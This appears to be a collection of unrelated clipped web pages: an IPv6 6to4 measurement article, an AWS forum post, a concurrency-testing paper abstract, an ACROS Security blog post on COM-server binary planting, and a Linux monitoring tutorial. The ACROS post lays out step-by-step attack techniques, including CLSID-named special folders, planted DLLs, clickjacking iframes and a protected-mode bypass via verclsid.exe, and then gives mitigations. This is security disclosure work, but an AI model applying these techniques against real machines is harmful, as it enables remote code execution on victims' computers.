As our measurements only count failures on the return path (as we cannot see packets that don't arrive at our measurement machine), the real failure rate will be even higher. As you can see from the graph, the failure rate we measured is quite significant (around 15%). A weekday-weekend pattern is also clearly visible.
Day
Failure rate
Monday
15.5%
Tuesday
14.7%
Wednesday
18.6%
Thursday
16.3%
Friday
20.0%
Saturday
9.2%
Sunday
9.8%
Table 1: Failure rate of 6to4 connections per weekday
In Table 1 we zoomed in to the weekday-weekend pattern, which shows a failure rate on weekdays of 15-20%, whereas in the weekend it drops down to a little under 10%. This drop in the weekend could be caused by lower Internet use from corporate sites during the weekend. We expect corporate sites to do more filtering on 6to4 packets (by corporate 'stateful' firewalls) on the return-path.
Table 2 shows a categorisation of the types of 6to4 nodes that try to connect to our measurement site and the associated failure rates. This categorisation is based on the last 64 bits of the IPv6 address. The table shows that 6to4 implementations that use the embedded IPv4 address as the last 32 bits of the IPv6 address (e.g. 2002:a:1::a:1) are the major part of 6to4 connections we see, and also have the highest failure rate. Close to 15% of failures we see is likely due to the rogue RA-problem that is described in Tore Anderson's RIPE 61 presentation.
6to4 Node Type
Failure rate
Likely Cause
EUI64
(7.4% of connections)
4.7%
(rogue) RA
Privacy extentions
(8.1% of connections)
9.7%
(rogue) RA
Embedded IPv4 repeated in last 32 bits
(84.4% of connections)
15.8%
Machine local 6to4
(likely Windows)
2002:XXXX:XXXX:1::1
(0.18% of connections)
29.3%
Machine local 6to4
(likely Mac OS X)
Table 2: 6to4 failure rates per 6to4 node type
Conclusion
The 6to4-brokenness we measured is quite significant, as all stories about 6to4 already indicated, so the "6to4 must die"-sentiment we picked up during the RIPE 61 meeting is understandable.
Content providers will not be affected much by the 6to4 breakage we see, as long as operating systems and applications prefer native IPv4 over auto-tunneled IPv6 (6to4,Teredo) by default, and as long as they prefer native IPv6 over everything else. Luckily, with the latest fix to Mac OS X (10.6.5), all major operating systems behave the way it is described above. As Mac OS users upgrade to 10.6.5 or newer, there is hope that overzealous use of 6to4 by end users will eventually cease to be a major concern for content providers that want to go dual-stack. Keep an eye on Tore's breakage stats.
With the free IPv4 address pool depleting, we expect IPv6-only content to appear in the near future. For these content providers the situation is not pretty. IPv4-only users that want to reach their content will have to face the significant 6to4 breakage we measured.
For hardware vendors it makes a lot of sense to make products not enable 6to4 by default, otherwise users of their products will have to face 6to4 breakage by default.
How much access providers and end-users will feel the 6to4 breakage depends on the situation. Using the latest versions of operating systems, the effect should be minimal as long as the content is IPv4-only or dual-stack. For IPv6-only content it really matters if the access provider is IPv4-only or dual-stack. If the access provider has not upgraded to dual-stack yet, its IPv4-only customers will have to use a technology like 6to4, and face breakage. This may cause customers to switch provider (which paradoxically will help IPv6 deployment).
Moral of the story: Go dual-stack. Now.
Footnote:
[1] Methodology: A description of the measurement setup can be found in this earlier RIPE Labs article: Measuring IPv6 at Web Clients and Caching Resolvers (Part 3: Methodology). The measurements are made to objects that are either available over IPv4-only,  dual-stack, and IPv6-only. On 11 May 2010 we started to keep tcpdump-trace files of traffic to and from 2002::/16. From these traces we determined the number of 6to4 connection attempts by looking for TCP SYN packets. We view a connection as successful if we see at least 1 data packet in the connection, i.e. a packet without SYN-flags. For our measurement setup we are not running a 6to4 relay ourselves, but rely on upstream providers to provide 6to4 for the return-path. We've seen traceroutes to 2002::1 from our measurement machine land in Surfnet's network, and we have not seen signs of outages in their 6to4-service in our measurements. So not running a 6to4 relay ourselves should not affect these measurements significantly.
﻿http://i.imgur.com/8yqJl.png 
8yqJl.png (PNG-Grafik, 1100x850 Pixel) - Skaliert (74%)
Created:
4/21/2011 10:19:12 AM
Updated:
4/21/2011 10:19:12 AM
Author:

Tags:
cheat sheets Git



﻿https://forums.aws.amazon.com/thread.jspa?threadID=65649&tstart=0 
AWS Developer Forums: Life of our patients is at stake - I am ...
Created:
4/25/2011 12:37:19 PM
Updated:
4/25/2011 12:37:19 PM
Author:

Tags:
LOLZ


Life of our patients is at stake - I am desperately asking you to contact 
Posted by: md76040303317
Posted on: Apr 22, 2011 11:20 PM
 

Reply






This question is answered. Helpful answers available: 2. Correct answers available: 1. 

Sorry, I could not get through in any other way

We are a monitoring company and are monitoring hundreds of cardiac patients at home.
We were unable to see their ECG signals since 21st of April

Could you please contact us?
Our account number is: 9252-9100-7360
Our servers IDs:

i-bb5c0fd0
i-8e6163e5
i-6589720f

Or please let me know how can I contact you more ditectly.
Thank you 


﻿http://research.microsoft.com/apps/pubs/default.aspx?id=118655 
A Randomized Scheduler with Probabilistic Guarantees of Finding Bugs - Microsoft Research
Created:
7/20/2010 8:12:09 AM
Updated:
7/20/2010 8:12:33 AM
Author:

Tags:
Practical Software Verification bookmark research papers Microsoft awesome bughunting


A Randomized Scheduler with Probabilistic Guarantees of Finding Bugs
Madanlal Musuvathi, Sebastian Burckhardt, Pravesh Kothari, and Santosh Nagarakatte
16 March 2010
This paper presents a randomized scheduler for finding concurrency
bugs. Like current stress-testing methods, it repeatedly runs a
given test program with supplied inputs. However, it improves on
stress-testing by finding buggy schedules more effectively and by
quantifying the probability of missing concurrency bugs. Key to its
design is the characterization of the depth of a concurrency bug as
the minimum number of scheduling constraints required to find it. In
a single run of a program with $n$ threads and $k$ steps, our
scheduler detects a concurrency bug of depth $d$ with probability at
least $1/{nk^{d-1}}$. We hypothesize that in practice, many
concurrency bugs (including well-known types such as ordering
errors, atomicity violations, and deadlocks) have small bug-depths,
and we confirm the efficiency of our schedule randomization by
detecting previously unknown and known concurrency bugs in several
production-scale concurrent programs.

PDF file 
In: Proceedings of the Fifteenth International Conference on Architectural Support for Programming Languages and Operating Systems (ASPLOS 2010) 
Publisher: Association for Computing Machinery, Inc.
Copyright © 2007 by the Association for Computing Machinery, Inc. Permission to make digital or hard copies of part or all of this work for personal or classroom use is granted without fee provided that copies are not made or distributed for profit or commercial advantage and that copies bear this notice and the full citation on the first page. Copyrights for components of this work owned by others than ACM must be honored. Abstracting with credit is permitted. To copy otherwise, to republish, to post on servers, or to redistribute to lists, requires prior specific permission and/or a fee. Request permissions from Publications Dept, ACM Inc., fax +1 (212) 869-0481, or permissions@acm.org. The definitive version of this paper can be found at ACM’s Digital Library --http://www.acm.org/dl/. 


﻿http://blog.acrossecurity.com/2011/05/anatomy-of-com-server-based-binary.html 
ACROS Security Blog: The Anatomy of COM Server-Based Binary Planting Exploits
Created:
5/25/2011 3:30:35 PM
Updated:
5/25/2011 3:30:57 PM
Author:

Tags:
bookmark attacks web windows environment


Tuesday, May 24, 2011
The Anatomy of COM Server-Based Binary Planting Exploits
Last week at the Hack In The Box conference in Amsterdam we presented some techniques for advanced exploitation of binary planting bugs. The stage was set by our previous blog post where we described how unsafely registered COM server DLLs, as well as safely registered COM server DLLs that make unsafe binary loading calls, could be abused for mounting binary planting attacks. This post reveals our work to the rest of the world.


The Magic Of Special Folders

One of the elements we used in our exploits were Windows special folders. Special folders are folders that can be shown by Windows Explorer but don't always behave like ordinary folders, which simply contain files and other folders. Some examples of special folders are Control Panel, My Computer, My Documents, Administrative Tools and Printers. Every one of these special folders is implemented as an in-process COM server with a specific class identifier (CLSID). For instance, the CLSID of My Computer is {20D04FE0-3AEA-1069-A2D8-08002B30309D}.

Let's begin with a small magic trick (works on XP, Vista and Windows 7): Create a new empty folder anywhere on your file system and rename it to folder.{20D04FE0-3AEA-1069-A2D8-08002B30309D}. (Note that the CLSID must be the extension of the folder name, i.e., must come after the final dot.) Immediately after renaming, the folder's icon will be changed to the icon of My Computer and, moreover, opening the folder will actually show the My Computer content.

Apart from having an obvious entertaining value, this trick also plays an important role in our exploits. Many applications, when processing files from special folders, or display the content of special folders, trigger the instantiation of such folders' COM servers based on the CLSIDs in their extensions. Which brings us to the first exploit.


Double-Click Attack 1: Wordpad on Windows XP

As already mentioned in our stage-setting blog post, all Windows XP installations have a registered COM server called "Display Panning CPL Extension" with CLSID {42071714-76d4-11d1-8b24-00a0c9068ff3}, implemented by a non-existing deskpan.dll. Consequently, if some application decided to instantiate such COM server, this would result in loading deskpan.dll from the current working directory. As you might have guessed, the special folders magic can make an application instantiate just any registered COM server. Let's do this with Wordpad.

The video below shows the following procedure:

1. create a "malicious" deskpan.dll;
2. create a new folder and rename it to files.{42071714-76d4-11d1-8b24-00a0c9068ff3} - note that Windows XP hide the folder extension, and that this special folder still behaves like an ordinary folder;
3. copy the malicious deskpan.dll to the new folder;
4. open the folder;
5. create a new rich text document in the folder;
6. double-click the rich-text document.




After double-clicking the rich text document, Wordpad gets launched and its current working directory gets set to the special folder (which is the expected behavior). However, for reasons unknown to us, Wordpad then triggers a call to the COM server-instantiating function CoCreateInstance with the CLSID of our special folder. This causes a registry lookup for the COM server DLL (deskpan.dll), and then an attempt to load this DLL using a LoadLibrary call. Failing to find this DLL in Wordpad home directory as well as in all Windows system folders, the "malicious" deskpan.dll is finally loaded from our special folder and executed.


Double-Click Attack 2: Applications on Windows 7

In contrast to Windows XP, a fresh installation of Windows 7 has no unsafely registered in-process COM servers. It does, however, have several safely registered COM servers whose DLLs make unsafe library loading calls. (XP and Vista have such DLLs too.)

One such case on Windows 7 is the COM server called "AnalogCable Class", registered with CLSID {2E095DD0-AF56-47E4-A099-EAC038DECC24} and having C:\Windows\System32\PsisDecd.dll as its DLL. When an application instantiates this COM server, the PsisDecd.dll is loaded from the System32 folder (which is okay), but this DLL quickly makes a call to LoadLibrary("ehTrace.dll"). Now it's not that ehTrace.dll doesn't exist on Windows 7: it does exist in folder C:\Windows\ehome - but applications launched outside this folder are unable to find it. This means that applications from folder C:\Windows\ehome, for instance ehshell.exe, can safely and successfully instantiate the said COM server, while other applications automatically become vulnerable if they try to do the same.

The video shows the following procedure:

1. create a "malicious" ehTrace.dll;
2. create a new Microsoft Word 2010 document;
3. create a new Microsoft PowerPoint 2010 document;
4. create a new text document;
5. create a new PDF document;
6. create a new folder and rename it to files.{2E095DD0-AF56-47E4-A099-EAC038DECC24} - note that Windows 7 also hide the folder extension, and that this special folder still behaves like an ordinary folder;
7. copy all four data files and the "malicious" DLL to the new folder;
8. open the folder;
9. double-click the Word document; (causing Word 2010 to execute the "malicious" ehTrace.dll)
10. double-click the PowerPoint document; (causing PowerPoint 2010 to execute the "malicious" ehTrace.dll)
11. double-click the PDF document; (causing Nitro PDF Reader to execute the "malicious" ehTrace.dll)
12. double-click the text document; (launching Notepad but not immediately executing the "malicious" DLL)
13. selecting "File -> Save As" from the menu in Notepad. (causing Notepad to execute the "malicious" ehTrace.dll)




Similarly to the Wordpad exploit on Windows XP, the above exploits are based on the curious and heavily undocumented nature of special folders, which makes otherwise innocent applications instantiate chosen COM servers. Thus Word, PowerPoint and Nitro PDF Reader (and many other applications) all try to instantiate the "AnalogCable Class" COM server while having their current working directory set to our special folder. This results in a search for ehTrace.dll, and in the loading of "malicious" ehTrace.dll from our special folder. The final target, Notepad, does not get hacked simply by opening a file - but does execute the "malicious" DLL when the "Save As" dialog is opened. Apparently Notepad does not automatically trigger the COM server instantiation when a document is loaded, but opening the "Save As" dialog causes the code behind this dialog to interact with the special folder, thus instantiating the appropriate COM server.


Leveraging COM Server Exploits Through Web Browsers

Skeptics among you may say that, okay, this opens up new attack vectors for various binary planting vulnerabilities, but the user would still have to double-click a document on a remote share. And users wouldn't do that, would they? (Of course they would but let's pretend they wouldn't.) So in order to satisfy the most demanding among you, we leveraged the above exploits through web browsers, resulting in some pretty user-friendly scenarios, in a manner of speaking. Let's start with Windows XP and Internet Explorer 8.



Web Attack 1: Internet Explorer 8 on Windows XP


The following video shows how a user would experience the attack. Visiting a malicious web site, clicking once on one link, and again on another, is enough to get a remote binary executed on his computer.





Two tricks are employed in the background of this attack. The first is aimed at launching applications without double-clicking. One of the methods we found for this makes use of the default Windows XP Task View, i.e., the task list shown in Windows Explorer on the left of each folder view. When a printable document is selected in the folder, this task list includes the "Print this file" link which, when (single-) clicked upon, launches the application associated with the file type of the selected file and instructs it to initiate the printing process. The procedure is thus: 1) click the file in a remote special folder to select it, and 2) click "Print to file" to launch the application which then loads a malicious DLL.

The second trick is clickjacking. This old trick is simply used for hiding the actual attack inside a 1x1 iframe such that wherever the user clicks on the web page the first time (anywhere on the page, not only on links), he actually clicks inside this tiny iframe - precisely on the Wordpad document shown in a remote shared folder, thereby selecting this document. The iframe then repositions its remote content such that when the user clicks again, he actually clicks on the "Print this file" link in the same remote shared folder as before, thereby launching Wordpad and executing the malicious DLL inside it. Now, since most attackers want to hide their attacks as much as possible, we made the demo such that when the user clicks inside the tiny iframe, we detect that and simulate the click on the underlying web page as well, which is why the links apparently clicked on actually respond to the clicks.

For those of you preferring the schematic diagrams, here's how it works in the language of objects, arrows and annotations (taken from our Hack In The Box slides).





Web Attack 2: Internet Explorer 9 on Windows 7 With Protected Mode


We've already seen that applications can be made vulnerable through unsafe COM servers on Windows 7 just like on Windows XP. But there are two additional challenges here. First, Windows 7 don't have the task view like Windows XP do, so another way to avoid double-clicking had to be found. And second, you can't just launch any application from IE when in protected mode without popping up the yellow security warning.

For the first challenge we chose to reveal a "right-click, send to compressed (zipped) folder" trick. IE allows the user to right-click a folder inside a remote shared folder (without a warning), and then select "send to" and "compressed (zipped) folder" from the context menu. This triggers a process of compression, which sets the current working directory of IE to the remote shared folder - and completes the first part of the attack.

The second challenge was overcome with the help of verclsid.exe. This curious little executable, mostly unknown to users, gets frequently launched in the background and quickly terminates without any visible effect. Verclsid.exe is, ironically, a security measure introduced by a Windows security update associated with bulletin MS06-015, but to us it is interesting because it is "whitelisted" for the IE protected mode: when IE launches a new verclsid.exe process, the user doesn't have to okay a security warning. Furthermore, verclsid.exe instantiates the COM server associated with the extension of a chosen special folder, providing just the binary planting opportunity we need. In our attack, we trigger the launching of verclsid.exe by loading a number of different special folders in an additional 1x1 iframe while IE has its current working directory set to our remote shared folder. Since verclsid.exe is launched by IE, it also inherits IE's current working directory (which hosts our "malicious" DLL) and eventually loads our DLL. The attack is again hidden with clickjacking.

Let's see how the user experiences this attack. Visiting a malicious web site, right-clicking anywhere on the page and selecting  "send to" and "compressed (zipped) folder" from the context menu is enough to get a remote binary executed on his computer.





Again, the schematic diagram of the attack:








Lessons Learned

The main takeaway from our presentation was that binary planting, as a conceptual problem with loading binaries on Windows, is not at all a trivial problem if you really understand the numerous details and hidden processes that affect and enable it.

By shedding light on a few previously unknown attack vectors we only revealed a small portion of our advanced binary planting research, which is aimed at improving the exploitation of various binary planting vulnerabilities. If we want to convince developers to fix security defects, we need to show them that they're easy to exploit, and we hope to see some proactive effort as a result of our work. And this is by no means aimed towards Microsoft alone; it was simply easiest for us to use the components that come with Windows, but we found a large number of other vendors' product to be exploitable in the ways described above.


How To Protect Yourself?

Apart from our generic recommendations for administrators, a couple of additional temporary measures will protect you from the attacks described in this post (but unfortunately not from numerous similar attacks):


1. On Windows XP, delete the {42071714-76d4-11d1-8b24-00a0c9068ff3} registry key under HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID.
2. On Windows 7, copy ehTrace.dll from C:\Windows\ehome to the System32 folder.

What's next?

We'll continue to raise awareness of this vulnerability class we call binary planting. There's a lot of misunderstanding about it among developers as well as security researchers, and we'll do our best to change that. Our first humble milestone is to stop seeing new product versions making unsafe LoadLibrary calls. Unfortunately, we don't seem to be anywhere close to that.


(Again, most of the above research has been done by Luka Treiber, security researcher at ACROS Security.)
﻿http://www.cyberciti.biz/tips/top-linux-monitoring-tools.html 
20 Linux System Monitoring Tools Every SysAdmin Should Know
Created:
2/22/2010 1:47:05 PM
Updated:
2/22/2010 1:47:13 PM
Author:

Tags:
setup Linux


20 Linux System Monitoring Tools Every SysAdmin Should Know
by VIVEK GITE · 99 COMMENTS

Need to monitor Linux server performance? Try these built-in command and a few add-on tools. Most Linux distributions are equipped with tons of monitoring. These tools provide metrics which can be used to get information about system activities. You can use these tools to find the possible causes of a performance problem. The commands discussed below are some of the most basic commands when it comes to system analysis and debugging server issues such as: 
1. Finding out bottlenecks.
2. Disk (storage) bottlenecks.
3. CPU and memory bottlenecks.
4. Network bottlenecks.


#1: top - Process Activity Command 
The top program provides a dynamic real-time view of a running system i.e. actual process activity. By default, it displays the most CPU-intensive tasks running on the server and updates the list every five seconds. 

Fig.01: Linux top command 
Commonly Used Hot Keys 
The top command provides several useful hot keys: 
Hot Key
Usage
t 
Displays summary information off and on. 
m 
Displays memory information off and on. 
A 
Sorts the display by top consumers of various system resources. Useful for quick identification of performance-hungry tasks on a system. 
f 
Enters an interactive configuration screen for top. Helpful for setting up top for a specific task. 
o 
Enables you to interactively select the ordering within top. 
r 
Issues renice command. 
k 
Issues kill command. 
z 
Turn on or off color/mono 

=> Related: How do I Find Out Linux CPU Utilization?
#2: vmstat - System Activity, Hardware and System Information 
The command vmstat reports information about processes, memory, paging, block IO, traps, and cpu activity.
# vmstat 3
Sample Outputs: 
procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------
 r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
 0  0      0 2540988 522188 5130400    0    0     2    32    4    2  4  1 96  0  0
 1  0      0 2540988 522188 5130400    0    0     0   720 1199  665  1  0 99  0  0
 0  0      0 2540956 522188 5130400    0    0     0     0 1151 1569  4  1 95  0  0
 0  0      0 2540956 522188 5130500    0    0     0     6 1117  439  1  0 99  0  0
 0  0      0 2540940 522188 5130512    0    0     0   536 1189  932  1  0 98  0  0
 0  0      0 2538444 522188 5130588    0    0     0     0 1187 1417  4  1 96  0  0
 0  0      0 2490060 522188 5130640    0    0     0    18 1253 1123  5  1 94  0  0
Display Memory Utilization Slabinfo 
# vmstat -m
Get Information About Active / Inactive Memory Pages 
# vmstat -a
=> Related: How do I find out Linux Resource utilization to detect system bottlenecks?
#3: w - Find Out Who Is Logged on And What They Are Doing 
w command displays information about the users currently on the machine, and their processes.
# w username
# w vivek
Sample Outputs: 
 17:58:47 up 5 days, 20:28,  2 users,  load average: 0.36, 0.26, 0.24
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    10.1.3.145       14:55    5.00s  0.04s  0.02s vim /etc/resolv.conf
root     pts/1    10.1.3.145       17:43    0.00s  0.03s  0.00s w
#4: uptime - Tell How Long The System Has Been Running 
The uptime command can be used to see how long the server has been running. The current time, how long the system has been running, how many users are currently logged on, and the system load averages for the past 1, 5, and 15 minutes.
# uptime
Output: 
 18:02:41 up 41 days, 23:42,  1 user,  load average: 0.00, 0.00, 0.00
1 can be considered as optimal load value. The load can change from system to system. For a single CPU system 1 - 3 and SMP systems 6-10 load value might be acceptable. 
#5: ps - Displays The Processes 
ps command will report a snapshot of the current processes. To select all processes use the -A or -e option:
# ps -A
Sample Outputs: 
  PID TTY          TIME CMD
    1 ?        00:00:02 init
    2 ?        00:00:02 migration/0
    3 ?        00:00:01 ksoftirqd/0
    4 ?        00:00:00 watchdog/0
    5 ?        00:00:00 migration/1
    6 ?        00:00:15 ksoftirqd/1
....
.....
 4881 ?        00:53:28 java
 4885 tty1     00:00:00 mingetty
 4886 tty2     00:00:00 mingetty
 4887 tty3     00:00:00 mingetty
 4888 tty4     00:00:00 mingetty
 4891 tty5     00:00:00 mingetty
 4892 tty6     00:00:00 mingetty
 4893 ttyS1    00:00:00 agetty
12853 ?        00:00:00 cifsoplockd
12854 ?        00:00:00 cifsdnotifyd
14231 ?        00:10:34 lighttpd
14232 ?        00:00:00 php-cgi
54981 pts/0    00:00:00 vim
55465 ?        00:00:00 php-cgi
55546 ?        00:00:00 bind9-snmp-stat
55704 pts/1    00:00:00 ps
ps is just like top but provides more information. 
Show Long Format Output 
# ps -Al
To turn on extra full mode (it will show command line arguments passed to process):
# ps -AlF
To See Threads ( LWP and NLWP) 
# ps -AlFH
To See Threads After Processes 
# ps -AlLm
Print All Process On The Server 
# ps ax
# ps axu
Print A Process Tree 
# ps -ejH
# ps axjf
# pstree
Print Security Information 
# ps -eo euser,ruser,suser,fuser,f,comm,label
# ps axZ
# ps -eM
See Every Process Running As User Vivek 
# ps -U vivek -u vivek u
Set Output In a User-Defined Format 
# ps -eo pid,tid,class,rtprio,ni,pri,psr,pcpu,stat,wchan:14,comm
# ps axo stat,euid,ruid,tty,tpgid,sess,pgrp,ppid,pid,pcpu,comm
# ps -eopid,tt,user,fname,tmout,f,wchan
Display Only The Process IDs of Lighttpd 
# ps -C lighttpd -o pid=
OR
# pgrep lighttpd
OR
# pgrep -u vivek php-cgi
Display The Name of PID 55977 
# ps -p 55977 -o comm=
Find Out The Top 10 Memory Consuming Process 
# ps -auxf | sort -nr -k 4 | head -10
Find Out top 10 CPU Consuming Process 
# ps -auxf | sort -nr -k 3 | head -10
#6: free - Memory Usage 
The command free displays the total amount of free and used physical and swap memory in the system, as well as the buffers used by the kernel.
# free
Sample Output: 
            total       used       free     shared    buffers     cached
Mem:      12302896    9739664    2563232          0     523124    5154740
-/+ buffers/cache:    4061800    8241096
Swap:      1052248          0    1052248
=> Related: : 
1. Linux Find Out Virtual Memory PAGESIZE
2. Linux Limit CPU Usage Per Process
3. How much RAM does my Ubuntu / Fedora Linux desktop PC have?
#7: iostat - Average CPU Load, Disk Activity 
The command iostat report Central Processing Unit (CPU) statistics and input/output statistics for devices, partitions and network filesystems (NFS).
# iostat
Sample Outputs: 
Linux 2.6.18-128.1.14.el5 (www03.nixcraft.in)        06/26/2009

avg-cpu:  %user   %nice %system %iowait  %steal   %idle
           3.50    0.09    0.51    0.03    0.00   95.86

Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn
sda              22.04        31.88       512.03   16193351  260102868
sda1              0.00         0.00         0.00       2166        180
sda2             22.04        31.87       512.03   16189010  260102688
sda3              0.00         0.00         0.00       1615          0
=> Related: : Linux Track NFS Directory / Disk I/O Stats
#8: sar - Collect and Report System Activity 
The sar command is used to collect, report, and save system activity information. To see network counter, enter:
# sar -n DEV | more
To display the network counters from the 24th:
# sar -n DEV -f /var/log/sa/sa24 | more
You can also display real time usage using sar:
# sar 4 5
Sample Outputs: 
Linux 2.6.18-128.1.14.el5 (www03.nixcraft.in)              06/26/2009

06:45:12 PM       CPU     %user     %nice   %system   %iowait    %steal     %idle
06:45:16 PM       all      2.00      0.00      0.22      0.00      0.00     97.78
06:45:20 PM       all      2.07      0.00      0.38      0.03      0.00     97.52
06:45:24 PM       all      0.94      0.00      0.28      0.00      0.00     98.78
06:45:28 PM       all      1.56      0.00      0.22      0.00      0.00     98.22
06:45:32 PM       all      3.53      0.00      0.25      0.03      0.00     96.19
Average:          all      2.02      0.00      0.27      0.01      0.00     97.70
=> Related: : How to collect Linux system utilization data into a file
#9: mpstat - Multiprocessor Usage 
The mpstat command displays activities for each available processor, processor 0 being the first one. mpstat -P ALL to display average CPU utilization per processor:
# mpstat -P ALL
Sample Output: 
Linux 2.6.18-128.1.14.el5 (www03.nixcraft.in)            06/26/2009

06:48:11 PM  CPU   %user   %nice    %sys %iowait    %irq   %soft  %steal   %idle    intr/s
06:48:11 PM  all    3.50    0.09    0.34    0.03    0.01    0.17    0.00   95.86   1218.04
06:48:11 PM    0    3.44    0.08    0.31    0.02    0.00    0.12    0.00   96.04   1000.31
06:48:11 PM    1    3.10    0.08    0.32    0.09    0.02    0.11    0.00   96.28     34.93
06:48:11 PM    2    4.16    0.11    0.36    0.02    0.00    0.11    0.00   95.25      0.00
06:48:11 PM    3    3.77    0.11    0.38    0.03    0.01    0.24    0.00   95.46     44.80
06:48:11 PM    4    2.96    0.07    0.29    0.04    0.02    0.10    0.00   96.52     25.91
06:48:11 PM    5    3.26    0.08    0.28    0.03    0.01    0.10    0.00   96.23     14.98
06:48:11 PM    6    4.00    0.10    0.34    0.01    0.00    0.13    0.00   95.42      3.75
06:48:11 PM    7    3.30    0.11    0.39    0.03    0.01    0.46    0.00   95.69     76.89
=> Related: : Linux display each multiple SMP CPU processors utilization individually. 
#10: pmap - Process Memory Usage 
The command pmap report memory map of a process. Use this command to find out causes of memory bottlenecks.
# pmap -d PID
To display process memory information for pid # 47394, enter:
# pmap -d 47394
Sample Outputs: 
47394:   /usr/bin/php-cgi
Address           Kbytes Mode  Offset           Device    Mapping
0000000000400000    2584 r-x-- 0000000000000000 008:00002 php-cgi
0000000000886000     140 rw--- 0000000000286000 008:00002 php-cgi
00000000008a9000      52 rw--- 00000000008a9000 000:00000   [ anon ]
0000000000aa8000      76 rw--- 00000000002a8000 008:00002 php-cgi
000000000f678000    1980 rw--- 000000000f678000 000:00000   [ anon ]
000000314a600000     112 r-x-- 0000000000000000 008:00002 ld-2.5.so
000000314a81b000       4 r---- 000000000001b000 008:00002 ld-2.5.so
000000314a81c000       4 rw--- 000000000001c000 008:00002 ld-2.5.so
000000314aa00000    1328 r-x-- 0000000000000000 008:00002 libc-2.5.so
000000314ab4c000    2048 ----- 000000000014c000 008:00002 libc-2.5.so
.....
......
..
00002af8d48fd000       4 rw--- 0000000000006000 008:00002 xsl.so
00002af8d490c000      40 r-x-- 0000000000000000 008:00002 libnss_files-2.5.so
00002af8d4916000    2044 ----- 000000000000a000 008:00002 libnss_files-2.5.so
00002af8d4b15000       4 r---- 0000000000009000 008:00002 libnss_files-2.5.so
00002af8d4b16000       4 rw--- 000000000000a000 008:00002 libnss_files-2.5.so
00002af8d4b17000  768000 rw-s- 0000000000000000 000:00009 zero (deleted)
00007fffc95fe000      84 rw--- 00007ffffffea000 000:00000   [ stack ]
ffffffffff600000    8192 ----- 0000000000000000 000:00000   [ anon ]
mapped: 933712K    writeable/private: 4304K    shared: 768000K
The last line is very important: 
· mapped: 933712K total amount of memory mapped to files
· writeable/private: 4304K the amount of private address space
· shared: 768000K the amount of address space this process is sharing with others
=> Related: : Linux find the memory used by a program / process using pmap command
#11 and #12: netstat and ss - Network Statistics 
The command netstat displays network connections, routing tables, interface statistics, masquerade connections, and multicast memberships. ss command is used to dump socket statistics. It allows showing information similar to netstat. See the following resources about ss and netstat commands: 
· ss: Display Linux TCP / UDP Network and Socket Information
· Get Detailed Information About Particular IP address Connections Using netstat Command
#13: iptraf - Real-time Network Statistics 
The iptraf command is interactive colorful IP LAN monitor. It is an ncurses-based IP LAN monitor that generates various network statistics including TCP info, UDP counts, ICMP and OSPF information, Ethernet load info, node stats, IP checksum errors, and others. It can provide the following info in easy to read format: 
· Network traffic statistics by TCP connection
· IP traffic statistics by network interface
· Network traffic statistics by protocol
· Network traffic statistics by TCP/UDP port and by packet size
· Network traffic statistics by Layer2 address

Fig.02: General interface statistics: IP traffic statistics by network interface 

Fig.03 Network traffic statistics by TCP connection 
#14: tcpdump - Detailed Network Traffic Analysis 
The tcpdump is simple command that dump traffic on a network. However, you need good understanding of TCP/IP protocol to utilize this tool. For.e.g to display traffic info about DNS, enter:
# tcpdump -i eth1 'udp port 53'
To display all IPv4 HTTP packets to and from port 80, i.e. print only packets that contain data, not, for example, SYN and FIN packets and ACK-only packets, enter:
# tcpdump 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'
To display all FTP session to 202.54.1.5, enter:
# tcpdump -i eth1 'dst 202.54.1.5 and (port 21 or 20'
To display all HTTP session to 192.168.1.5:
# tcpdump -ni eth0 'dst 192.168.1.5 and tcp and port http'
Use wireshark to view detailed information about files, enter:
# tcpdump -n -i eth1 -s 0 -w output.txt src or dst port 80
#15: strace - System Calls 
Trace system calls and signals. This is useful for debugging webserver and other server problems. See how to use to trace the process and see What it is doing. 
#16: /Proc file system - Various Kernel Statistics 
/proc file system provides detailed information about various hardware devices and other Linux kernel information. See Linux kernel /proc documentations for further details. Common /proc examples:
# cat /proc/cpuinfo
# cat /proc/meminfo
# cat /proc/zoneinfo
# cat /proc/mounts
17#: Nagios - Server And Network Monitoring 
Nagios is a popular open source computer system and network monitoring application software. You can easily monitor all your hosts, network equipment and services. It can send alert when things go wrong and again when they get better. FAN is "Fully Automated Nagios". FAN goals are to provide a Nagios installation including most tools provided by the Nagios Community. FAN provides a CDRom image in the standard ISO format, making it easy to easilly install a Nagios server. Added to this, a wide bunch of tools are including to the distribution, in order to improve the user experience around Nagios. 
18#: Cacti - Web-based Monitoring Tool 
Cacti is a complete network graphing solution designed to harness the power of RRDTool's data storage and graphing functionality. Cacti provides a fast poller, advanced graph templating, multiple data acquisition methods, and user management features out of the box. All of this is wrapped in an intuitive, easy to use interface that makes sense for LAN-sized installations up to complex networks with hundreds of devices. It can provide data about network, CPU, memory, logged in users, Apache, DNS servers and much more. See how to install and configure Cacti network graphing tool under CentOS / RHEL. 
#19: KDE System Guard - Real-time Systems Reporting and Graphing 
KSysguard is a network enabled task and system monitor application for KDE desktop. This tool can be run over ssh session. It provides lots of features such as a client/server architecture that enables monitoring of local and remote hosts. The graphical front end uses so-called sensors to retrieve the information it displays. A sensor can return simple values or more complex information like tables. For each type of information, one or more displays are provided. Displays are organized in worksheets that can be saved and loaded independently from each other. So, KSysguard is not only a simple task manager but also a very powerful tool to control large server farms. 

Fig.05 KDE System Guard {Image credit: Wikipedia} 
See the KSysguard handbook for detailed usage. 
#20: Gnome System Monitor - Real-time Systems Reporting and Graphing 
The System Monitor application enables you to display basic system information and monitor system processes, usage of system resources, and file systems. You can also use System Monitor to modify the behavior of your system. Although not as powerful as the KDE System Guard, it provides the basic information which may be useful for new users: 
· Displays various basic information about the computer's hardware and software.
· Linux Kernel version
· GNOME version
· Hardware
· Installed memory
· Processors and speeds
· System Status
· Currently available disk space
· Processes
· Memory and swap space
· Network usage
· File Systems
· Lists all mounted filesystems along with basic information about each.

Fig.06 The Gnome System Monitor application 
Bounce: Additional Tools 
A few more tools: 
· nmap - scan your server for open ports.
· lsof - list open files, network connections and much more.
